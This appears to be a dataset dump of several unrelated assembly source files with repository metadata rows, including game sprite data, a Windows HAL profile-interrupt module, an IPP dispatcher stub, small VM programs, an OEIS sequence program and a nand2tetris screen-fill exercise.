DB $07,$07,$0D,$0D,$09,$09,$00,$00
DB $00,$00,$00,$00,$00,$00,$80,$80
DB $F8,$F8,$FC,$FC,$FC,$FC,$8C,$FC
DB $AC,$FC,$8C,$FC,$FC,$FC,$F8,$F8
DB $F0,$F0,$38,$38,$28,$28,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$7F,$7F,$FF,$FF
DB $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
DB $7F,$7F,$1F,$1F,$07,$07,$07,$07
DB $05,$05,$0D,$0D,$09,$09,$00,$00
DB $00,$00,$00,$00,$00,$00,$F8,$F8
DB $FC,$FC,$8C,$FC,$AC,$FC,$8C,$FC
DB $FC,$FC,$04,$74,$F8,$F8,$F0,$F0
DB $70,$70,$38,$38,$28,$28,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $07,$07,$07,$07,$07,$07,$7F,$7F
DB $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
DB $FF,$FF,$7F,$7F,$1F,$1F,$0F,$0F
DB $0D,$0D,$09,$09,$09,$09,$00,$00
DB $F8,$F8,$8C,$FC,$FC,$FC,$FC,$FC
DB $04,$74,$04,$FC,$0C,$FC,$F8,$F8
DB $F0,$F0,$80,$80,$F0,$F0,$50,$50
DB $40,$40,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $03,$03,$03,$03,$03,$03,$7F,$7F
DB $FF,$FF,$FF,$FF,$FF,$FF,$FF,$FF
DB $FF,$FF,$7F,$7F,$1F,$1F,$0F,$0F
DB $0D,$0D,$09,$09,$09,$09,$00,$00
DB $FC,$FC,$C6,$FE,$FE,$FE,$FE,$FE
DB $82,$BA,$82,$FE,$86,$FE,$FC,$FC
DB $F8,$F8,$80,$80,$E0,$E0,$50,$50
DB $50,$50,$40,$40,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$7F,$7F,$FF,$FF
DB $FF,$FF,$FF,$FF,$FF,$FF,$7F,$7F
DB $1F,$1F,$07,$07,$07,$07,$07,$07
DB $07,$07,$0D,$0D,$09,$09,$00,$00
DB $00,$00,$00,$00,$00,$00,$80,$80
DB $E0,$E0,$FE,$FE,$FF,$FF,$FF,$FF
DB $E3,$FF,$EB,$FF,$E3,$FF,$FF,$FF
DB $FE,$FE,$38,$38,$28,$28,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
DB $00,$00,$00,$00,$00,$00,$00,$00
r4_SpiderAttackREnd::
;;; SECTION SPRITESHEET1_PART3
;;; ############################################################################
| 34.719574 | 80 | 0.518381 |
8c33310e071c24141cc6d31cb00d09d8bc46b275 | 12,418 | asm | Assembly | base/hals/halx86/i386/ixprofil.asm | npocmaka/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 17 | 2020-11-13T13:42:52.000Z | 2021-09-16T09:13:13.000Z | base/hals/halx86/i386/ixprofil.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 2 | 2020-10-19T08:02:06.000Z | 2020-10-19T08:23:18.000Z | base/hals/halx86/i386/ixprofil.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 14 | 2020-11-14T09:43:20.000Z | 2021-08-28T08:59:57.000Z |
title "Interval Clock Interrupt"
;++
;
; Copyright (c) 1989 Microsoft Corporation
;
; Module Name:
;
; ixprofile.asm
;
; Abstract:
;
; This module implements the code necessary to initialize,
; field and process the profile interrupt.
;
; Author:
;
; Shie-Lin Tzong (shielint) 12-Jan-1990
;
; Environment:
;
; Kernel mode only.
;
; Revision History:
;
; bryanwi 20-Sep-90
;
; Add KiSetProfileInterval, KiStartProfileInterrupt,
; KiStopProfileInterrupt procedures.
; KiProfileInterrupt ISR.
; KiProfileList, KiProfileLock are delcared here.
;
; shielint 10-Dec-90
; Add performance counter support.
; Move system clock to irq8, ie we now use RTC to generate system
; clock. Performance count and Profile use timer 1 counter 0.
; The interval of the irq0 interrupt can be changed by
; KiSetProfileInterval. Performance counter does not care about the
; interval of the interrupt as long as it knows the rollover count.
; Note: Currently I implemented 1 performance counter for the whole
; i386 NT.
;
; John Vert (jvert) 11-Jul-1991
; Moved from ke\i386 to hal\i386. Removed non-HAL stuff
;
; shie-lin tzong (shielint) 13-March-92
; Move System clock back to irq0 and use RTC (irq8) to generate
; profile interrupt. Performance counter and system clock use time1
; counter 0 of 8254.
;
; Landy Wang (landy@corollary.com) 26-Mar-1992
; Move much code into separate modules for easy inclusion by various
; HAL builds.
;
; Add HalBeginSystemInterrupt() call at beginning of ProfileInterrupt
; code - this must be done before any sti.
; Also add HalpProfileInterrupt2ndEntry for additional processors to
; join the flow of things.
;
;--
.386p
.xlist
include hal386.inc
include callconv.inc ; calling convention macros
include i386\kimacro.inc
include mac386.inc
include i386\ix8259.inc
include i386\ixcmos.inc
.list
EXTRNP _DbgBreakPoint,0,IMPORT
EXTRNP _KeProfileInterrupt,1,IMPORT
EXTRNP Kei386EoiHelper,0,IMPORT
EXTRNP _HalEndSystemInterrupt,2
EXTRNP _HalBeginSystemInterrupt,3
EXTRNP _HalpAcquireCmosSpinLock ,0
EXTRNP _HalpReleaseCmosSpinLock ,0
;
; Constants used to initialize CMOS/Real Time Clock
;
D_INT032 EQU 8E00h ; access word for 386 ring 0 interrupt gate
_TEXT SEGMENT DWORD PUBLIC 'DATA'
align 4
ProfileIntervalTable dd 1221 ; unit = 100 ns
dd 2441
dd 4883
dd 9766
dd 19531
dd 39063
dd 78125
dd 156250
dd 312500
dd 625000
dd 1250000
dd 2500000
dd 5000000
dd 5000000 OR 80000000H
ProfileIntervalInitTable db 00100011B
db 00100100B
db 00100101B
db 00100110B
db 00100111B
db 00101000B
db 00101001B
db 00101010B
db 00101011B
db 00101100B
db 00101101B
db 00101110B
db 00101111B
db 00101111B
;
; HALs wishing to reuse the code in this module should set the HAL
; global variable IxProfileVector to their profile vector.
;
public _IxProfileVector
_IxProfileVector dd PROFILE_VECTOR
_TEXT ends
_DATA SEGMENT DWORD PUBLIC 'DATA'
RegisterAProfileValue db 00101000B ; default interval = 3.90625 ms
;
; The following array stores the per microsecond loop count for each
; central processor.
;
HalpProfileInterval dd -1
public _HalpProfilingStopped
_HalpProfilingStopped dd 1
_DATA ends
_TEXT SEGMENT DWORD PUBLIC 'CODE'
ASSUME DS:FLAT, ES:FLAT, SS:NOTHING, FS:NOTHING, GS:NOTHING
;++
;
; HalStartProfileInterrupt(
; IN ULONG Reserved
; );
;
; Routine Description:
;
; What we do here is change the interrupt
; rate from the slowest thing we can get away with to the value
; that's been KeSetProfileInterval
;
; All processors will run this routine, but it doesn't hurt to have
; each one reinitialize the CMOS, since none of them will be let go
; from the stall until they all finish.
;
;--
cPublicProc _HalStartProfileInterrupt ,1
; Mark profiling as active
;
mov dword ptr _HalpProfilingStopped, 0
;
; Set the interrupt rate to what is actually needed
;
stdCall _HalpAcquireCmosSpinLock ; intr disabled
mov al, RegisterAProfileValue
shl ax, 8
mov al, 0AH ; Register A
CMOS_WRITE ; Initialize it
;
; Don't clobber the Daylight Savings Time bit in register B, because we
; stash the LastKnownGood "environment variable" there.
;
mov ax, 0bh
CMOS_READ
and al, 1
mov ah, al
or ah, REGISTER_B_ENABLE_PERIODIC_INTERRUPT
mov al, 0bh
CMOS_WRITE ; Initialize it
mov al,0CH ; Register C
CMOS_READ ; Read to initialize
mov al,0DH ; Register D
CMOS_READ ; Read to initialize
stdCall _HalpReleaseCmosSpinLock
stdRET _HalStartProfileInterrupt
stdENDP _HalStartProfileInterrupt
;++
;
; HalStopProfileInterrupt(
; IN ULONG Reserved
; );
;
; Routine Description:
;
; What we do here is change the interrupt
; rate from the high profiling rate to the slowest thing we
; can get away with for PerformanceCounter rollover notification.
;
;--
cPublicProc _HalStopProfileInterrupt ,1
;
; Turn off profiling hit computation and profile interrupt
;
;
; Don't clobber the Daylight Savings Time bit in register B, because we
; stash the LastKnownGood "environment variable" there.
stdCall _HalpAcquireCmosSpinLock ; intr disabled
mov ax, 0bh
CMOS_READ
and al, 1
mov ah, al
or ah, REGISTER_B_DISABLE_PERIODIC_INTERRUPT
mov al, 0bh
CMOS_WRITE ; Initialize it
mov al,0CH ; Register C
CMOS_READ ; dismiss pending profiling interrupt
mov dword ptr _HalpProfilingStopped, 1
stdCall _HalpReleaseCmosSpinLock
stdRET _HalStopProfileInterrupt
stdENDP _HalStopProfileInterrupt
;++
; ULONG
; HalSetProfileInterval (
; ULONG Interval
; );
;
; Routine Description:
;
; This procedure sets the interrupt rate (and thus the sampling
; interval) for the profiling interrupt.
;
; If profiling is active (KiProfilingStopped == 0) the actual
; hardware interrupt rate will be set. Otherwise, a simple
; rate validation computation is done.
;
; Arguments:
;
; (TOS+4) - Interval in 100ns unit.
;
; Return Value:
;
; Interval actually used by system.
;
;--
cPublicProc _HalSetProfileInterval ,1
mov edx, [esp+4] ; [edx] = interval in 100ns unit
and edx, 7FFFFFFFh ; Remove highest bit.
mov ecx, 0 ; index = 0
Hspi00:
mov eax, ProfileIntervalTable[ecx * 4]
cmp edx, eax ; if request interval < suport interval
jbe short Hspi10 ; if be, find supported interval
inc ecx
jmp short Hspi00
Hspi10:
and eax, 7FFFFFFFh ; remove highest bit from supported interval
jecxz short Hspi20 ; If first entry then use it
push esi ; See which is closer to requested
mov esi, eax ; rate - current entry, or preceeding
sub esi, edx
sub edx, ProfileIntervalTable[ecx * 4 - 4]
cmp esi, edx
pop esi
jc short Hspi20
dec ecx ; use preceeding entry
mov eax, ProfileIntervalTable[ecx * 4]
Hspi20:
push eax ; save interval value
mov al, ProfileIntervalInitTable[ecx]
mov RegisterAProfileValue, al
test dword ptr _HalpProfilingStopped,-1
jnz short Hspi90
stdCall _HalStartProfileInterrupt,<0> ; Re-start profile interrupt
; with the new interval
Hspi90: pop eax
stdRET _HalSetProfileInterval ; (eax) = cReturn interval
stdENDP _HalSetProfileInterval
page ,132
subttl "System Profile Interrupt"
;++
;
; Routine Description:
;
; This routine is entered as the result of a profile interrupt.
; Its function is to dismiss the interrupt, raise system Irql to
; PROFILE_LEVEL and transfer control to
; the standard system routine to process any active profiles.
;
; Arguments:
;
; None
; Interrupt is disabled
;
; Return Value:
;
; Does not return, jumps directly to KeProfileInterrupt, which returns
;
; Sets Irql = PROFILE_LEVEL and dismisses the interrupt
;
;--
ENTER_DR_ASSIST Hpi_a, Hpi_t
cPublicProc _HalpProfileInterrupt ,0
;
; Save machine state in trap frame
;
ENTER_INTERRUPT Hpi_a, Hpi_t
;
; (esp) - base of trap frame
;
; HalBeginSystemInterrupt must be called before any sti's
;
;
push _IxProfileVector
sub esp, 4 ; allocate space to save OldIrql
stdCall _HalBeginSystemInterrupt, <PROFILE_LEVEL,_IxProfileVector,esp>
or al,al ; check for spurious interrupt
jz Hpi100
;
; This is the RTC interrupt, so we have to clear the
; interrupt flag on the RTC.
;
stdCall _HalpAcquireCmosSpinLock
;
; clear interrupt flag on RTC by banging on the CMOS. On some systems this
; doesn't work the first time we do it, so we do it twice. It is rumored that
; some machines require more than this, but that hasn't been observed with NT.
;
mov al,0CH ; Register C
CMOS_READ ; Read to initialize
mov al,0CH ; Register C
CMOS_READ ; Read to initialize
if DBG
align 4
Hpi10: test al, 80h
jz short Hpi15
mov al,0CH ; Register C
CMOS_READ ; Read to initialize
jmp short Hpi10
Hpi15:
endif ; DBG
stdCall _HalpReleaseCmosSpinLock
sti
;
; This entry point is provided for symmetric multiprocessor HALs.
; Since it only makes sense for one processor to clear the CMOS,
; all other processors can instead jmp into this entry point.
;
align 4
public _HalpProfileInterrupt2ndEntry@0
_HalpProfileInterrupt2ndEntry@0:
;
; (esp) = OldIrql
; (esp+4) = H/W vector
; (esp+8) = base of trap frame
;
;
; Now check for any profiling stuff to do.
;
cmp _HalpProfilingStopped, dword ptr 1 ; Has profiling been stopped?
jz short Hpi90 ; if z, prof disenabled
stdCall _KeProfileInterrupt,<ebp> ; (ebp) = trapframe
Hpi90:
INTERRUPT_EXIT
align 4
Hpi100:
add esp, 8 ; spurious, no EndOfInterrupt
SPURIOUS_INTERRUPT_EXIT ; exit interrupt without eoi
stdENDP _HalpProfileInterrupt
_TEXT ends
end
| 28.87907 | 85 | 0.570221 |
e0dfa9e41c664bc2077b98ad0784681e4e81d861 | 1,301 | asm | Assembly | _build/dispatcher/jmp_ippsGFpGetElementOctString_13a28c95.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | 1 | 2021-10-04T10:21:54.000Z | 2021-10-04T10:21:54.000Z | _build/dispatcher/jmp_ippsGFpGetElementOctString_13a28c95.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | null | null | null | _build/dispatcher/jmp_ippsGFpGetElementOctString_13a28c95.asm | zyktrcn/ippcp | b0bbe9bbb750a7cf4af5914dd8e6776a8d544466 | [
"Apache-2.0"
] | null | null | null | extern m7_ippsGFpGetElementOctString:function
extern n8_ippsGFpGetElementOctString:function
extern y8_ippsGFpGetElementOctString:function
extern e9_ippsGFpGetElementOctString:function
extern l9_ippsGFpGetElementOctString:function
extern n0_ippsGFpGetElementOctString:function
extern k0_ippsGFpGetElementOctString:function
extern ippcpJumpIndexForMergedLibs
extern ippcpSafeInit:function
segment .data
align 8
dq .Lin_ippsGFpGetElementOctString
.Larraddr_ippsGFpGetElementOctString:
dq m7_ippsGFpGetElementOctString
dq n8_ippsGFpGetElementOctString
dq y8_ippsGFpGetElementOctString
dq e9_ippsGFpGetElementOctString
dq l9_ippsGFpGetElementOctString
dq n0_ippsGFpGetElementOctString
dq k0_ippsGFpGetElementOctString
segment .text
global ippsGFpGetElementOctString:function (ippsGFpGetElementOctString.LEndippsGFpGetElementOctString - ippsGFpGetElementOctString)
.Lin_ippsGFpGetElementOctString:
db 0xf3, 0x0f, 0x1e, 0xfa
call ippcpSafeInit wrt ..plt
align 16
ippsGFpGetElementOctString:
db 0xf3, 0x0f, 0x1e, 0xfa
mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc]
movsxd rax, dword [rax]
lea r11, [rel .Larraddr_ippsGFpGetElementOctString]
mov r11, qword [r11+rax*8]
jmp r11
.LEndippsGFpGetElementOctString:
| 33.358974 | 131 | 0.830899 |
78c58d8a85c2d4fa4a98472d415c79e9b890850d | 74 | asm | Assembly | stackvm/kernel/syscalls.asm | OrangeTide/boris | e649a26edea7e1a3b2555ad8a5999a1f448d12f5 | [
"BSD-2-Clause-FreeBSD"
] | 8 | 2016-08-30T18:21:36.000Z | 2021-10-05T20:27:36.000Z | kernel/syscalls.asm | OrangeTide/stackvm | 8412aa09eff986ff844368b38a318034ec75a896 | [
"CC0-1.0"
] | 6 | 2019-11-24T01:35:23.000Z | 2019-11-24T02:08:42.000Z | kernel/syscalls.asm | OrangeTide/stackvm | 8412aa09eff986ff844368b38a318034ec75a896 | [
"CC0-1.0"
] | 1 | 2017-08-16T09:44:10.000Z | 2017-08-16T09:44:10.000Z | code
equ puts -1
equ error -2
equ syslog -3
equ openlog -4
equ mdelay -5
| 9.25 | 14 | 0.702703 |
7dfdd44a5b5e57cbd360e626cdd8f6dc175d3b19 | 1,198 | asm | Assembly | include/io_util.asm | SamHammersley/tiny_basic_compiler | 7de2e8e0dbb2bccf1b3878e15b08423eef9d4842 | [
"MIT"
] | null | null | null | include/io_util.asm | SamHammersley/tiny_basic_compiler | 7de2e8e0dbb2bccf1b3878e15b08423eef9d4842 | [
"MIT"
] | null | null | null | include/io_util.asm | SamHammersley/tiny_basic_compiler | 7de2e8e0dbb2bccf1b3878e15b08423eef9d4842 | [
"MIT"
] | null | null | null | section .data
new_line_char: equ 10
default_buffer_size: equ 64
read_int_id: equ 0
ascii_digit_offset: equ 48
section .bss
char_buffer: resb default_buffer_size
section .text
; reads input from standard input, byte by byte.
; expects a 0 in rdi if each byte of the input
; should be correct by 48, the ascii offset.
read_chars:
push rbp
mov rbp, rsp
sub rsp, 8
mov [rbp - 8], rdi ; store rdi in free stack space.
mov r10, 0 ; buffer size
mov rsi, char_buffer ; buffer write pos
; todo: maybe take file descriptor as parameter,
; this would depend on whether, the language should
; support reading from files. (not a given)
next_char:
mov rax, 0 ; syscall id (read)
mov rdi, 0 ; file descriptor (stdin)
mov rdx, 1 ; 1 byte
syscall
inc rsi
inc r10
cmp byte [rsi - 1], new_line_char
je end_of_input
cmp byte [rbp - 8], read_int_id
jne jump_to_next
sub byte [rsi - 1], ascii_digit_offset
jump_to_next:
jmp next_char
end_of_input:
mov rsp, rbp
pop rbp
; returned values in rax and rcx.
mov rax, char_buffer
mov rcx, r10
ret
| 22.185185 | 59 | 0.643573 |
e76d237ef1aa11083d4a663710e80445d58efd0a | 1,048 | asm | Assembly | examples/fib.asm | tonysparks/lita-vm | a4f80411a084cb9c5566ed39828e7d25ddddc04a | [
"MIT"
] | null | null | null | examples/fib.asm | tonysparks/lita-vm | a4f80411a084cb9c5566ed39828e7d25ddddc04a | [
"MIT"
] | null | null | null | examples/fib.asm | tonysparks/lita-vm | a4f80411a084cb9c5566ed39828e7d25ddddc04a | [
"MIT"
] | null | null | null | ;; calculate fibonacci number
pushi #2991 ; pick a big number
call :fib
popi $a
printi $a
printc #10
jmp :exit
;;
;; calculates fibonacci sequence
;;
;; input:
;; $sp <int>
;; output:
;; $sp <int>
;;
:fib
popi $a ; take top of stack as the input; the number of fib sequences we should run
movi $j #0 ; n1
movi $k #1 ; n2
; If N >= 2 return N
ifei $a #2
jmp :fib_end_loop
movi $i #3 ; iteration index
:fib_loop
ifei $a $i ; if N >= i return $c
jmp :fib_end_loop
; sum = n1 + n2
; n1 = n2
; n2 = sum
movi $b #0
addi $b $j
addi $b $k
movi $j $k
movi $k $b
addi $i #1 ; i++
jmp :fib_loop
:fib_end_loop
movi $c #0 ; clear out $c
addi $c $j
addi $c $k
pushi $c ; return n1+n2
ret
:exit
| 19.407407 | 110 | 0.409351 |
6199affd351ad3c30a78dc03feba12e51ec7c8e8 | 1,984 | asm | Assembly | programs/oeis/001/A001333.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/001/A001333.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/001/A001333.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A001333: Numerators of continued fraction convergents to sqrt(2).
; 1,1,3,7,17,41,99,239,577,1393,3363,8119,19601,47321,114243,275807,665857,1607521,3880899,9369319,22619537,54608393,131836323,318281039,768398401,1855077841,4478554083,10812186007,26102926097,63018038201,152139002499,367296043199,886731088897,2140758220993,5168247530883,12477253282759,30122754096401,72722761475561,175568277047523,423859315570607,1023286908188737,2470433131948081,5964153172084899,14398739476117879,34761632124320657,83922003724759193,202605639573839043,489133282872437279,1180872205318713601,2850877693509864481,6882627592338442563,16616132878186749607,40114893348711941777,96845919575610633161,233806732499933208099,564459384575477049359,1362725501650887306817,3289910387877251662993,7942546277405390632803,19175002942688032928599,46292552162781456490001,111760107268250945908601,269812766699283348307203,651385640666817642523007,1572584048032918633353217,3796553736732654909229441,9165691521498228451812099,22127936779729111812853639,53421565080956452077519377,128971066941642015967892393,311363698964240484013304163,751698464870122983994500719,1814760628704486452002305601,4381219722279095887999111921,10577200073262678228000529443,25535619868804452344000170807,61648439810871582916000871057,148832499490547618176001912921,359313438791966819268004696899,867459377074481256712011306719,2094232192940929332692027310337,5055923762956339922096065927393,12206079718853609176884159165123,29468083200663558275864384257639,71142246120180725728612927680401,171752575441025009733090239618441,414647397002230745194793406917283,1001047369445486500122677053453007,2416742135893203745440147513823297,5834531641231893991002972081099601,14085805418356991727446091676022499,34006142477945877445895155433144599,82098090374248746619236402542311697,198202323226443370684367960517767993,478502736827135487987972323577847683
mov $1,1
lpb $0
sub $0,1
mov $2,$1
add $3,$1
mov $1,$3
add $3,$2
lpe
mov $0,$1
| 152.615385 | 1,825 | 0.919859 |
d2ae6e9beb487b4889ed04c035eefe3b3e1b4a71 | 829 | asm | Assembly | oeis/129/A129339.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/129/A129339.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/129/A129339.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A129339: Main diagonal of triangular array T: T(j,1) = 1 for ((j-1) mod 6) < 3, else 0; T(j,k) = T(j-1,k-1) + T(j,k-1) for 2 <= k <= j.
; Submitted by Christian Krause
; 1,2,4,7,11,16,23,37,74,175,431,1024,2291,4825,9650,18571,34955,65536,124511,242461,484922,989527,2038103,4194304,8565755,17308657,34617314,68703187,135812051,268435456,532087943,1059392917,2118785834,4251920575,8546887871,17179869184,34488878531,69106897225,138213794450,276040168411,550918075355,1099511627776,2195536471151,4387586157901,8775172315802,17560804984807,35152991029223,70368744177664,140831631534155,281757406247137,563514812494274,1126747195452067,2252647102294691,4503599627370496
mov $1,2
mov $2,1
mov $3,2
mov $4,3
lpb $0
sub $0,1
mov $3,$2
mul $2,2
add $2,1
add $3,$4
sub $4,$1
add $1,$3
add $4,$3
lpe
mov $0,$3
div $0,2
| 39.47619 | 498 | 0.747889 |
d8a917ec4f8dde71d44901d4817802a5a2b0c5a2 | 230 | asm | Assembly | ioctl/IomVer.asm | osfree-project/FamilyAPI | 2119a95cb2bbe6716ecacff4171866f6ea51b8d7 | [
"BSD-3-Clause"
] | 1 | 2021-11-25T14:01:48.000Z | 2021-11-25T14:01:48.000Z | ioctl/IomVer.asm | osfree-project/FamilyAPI | 2119a95cb2bbe6716ecacff4171866f6ea51b8d7 | [
"BSD-3-Clause"
] | null | null | null | ioctl/IomVer.asm | osfree-project/FamilyAPI | 2119a95cb2bbe6716ecacff4171866f6ea51b8d7 | [
"BSD-3-Clause"
] | 2 | 2021-11-05T06:48:43.000Z | 2021-12-06T08:07:38.000Z | ;--------------------------------------------------------
; Category 7 Function 6A Return the mouse device driver level/version
;--------------------------------------------------------
;
;
;
IOMVER PROC NEAR
RET
IOMVER ENDP
| 20.909091 | 69 | 0.365217 |
f56ab12b1296721aff78d031aade940fba19a8dd | 1,850 | asm | Assembly | projects/04/fill/Fill.asm | SAhmadi/FromNandToTetris | 5b05effa5d6adef251463494c6289efe805985ce | [
"MIT"
] | null | null | null | projects/04/fill/Fill.asm | SAhmadi/FromNandToTetris | 5b05effa5d6adef251463494c6289efe805985ce | [
"MIT"
] | null | null | null | projects/04/fill/Fill.asm | SAhmadi/FromNandToTetris | 5b05effa5d6adef251463494c6289efe805985ce | [
"MIT"
] | null | null | null | // This file is part of www.nand2tetris.org
// and the book "The Elements of Computing Systems"
// by Nisan and Schocken, MIT Press.
// File name: projects/04/Fill.asm
// Runs an infinite loop that listens to the keyboard input.
// When a key is pressed (any key), the program blackens the screen,
// i.e. writes "black" in every pixel;
// the screen should remain fully black as long as the key is pressed.
// When no key is pressed, the program clears the screen, i.e. writes
// "white" in every pixel;
// the screen should remain fully clear as long as no key is pressed.
@8192
D=A-1
@SCREEN_END
M=D
(LOOP)
@KBD
D=M
@CLEAR // if (KBD == 0) goto clear
D;JEQ
@FILL // if (KBD != 0) goto fill
D;JNE
@END
0;JMP
(END)
@END
0;JMP
(FILL)
@SCREEN // Reset screenAddr
D=A
@screenAddr
M=D
@SCREEN_END // i = SCREEN_END
D=M
@i
M=D
(FILL_LOOP)
@i // if (i < 0)
D=M
@LOOP
D;JLT
@screenAddr // fill current screen address
A=M
M=-1
@screenAddr // screenAddr++
M=M+1
@i // i--
M=M-1
@FILL_LOOP
0;JMP
(CLEAR)
@SCREEN // Reset screenAddr
D=A
@screenAddr
M=D
@SCREEN_END // i = SCREEN_END
D=M
@i
M=D
(CLEAR_LOOP)
@i // if (i < 0)
D=M
@LOOP
D;JLT
@screenAddr // clear current screen address
A=M
M=0
@screenAddr // screenAddr++
M=M+1
@i // i--
M=M-1
@CLEAR_LOOP
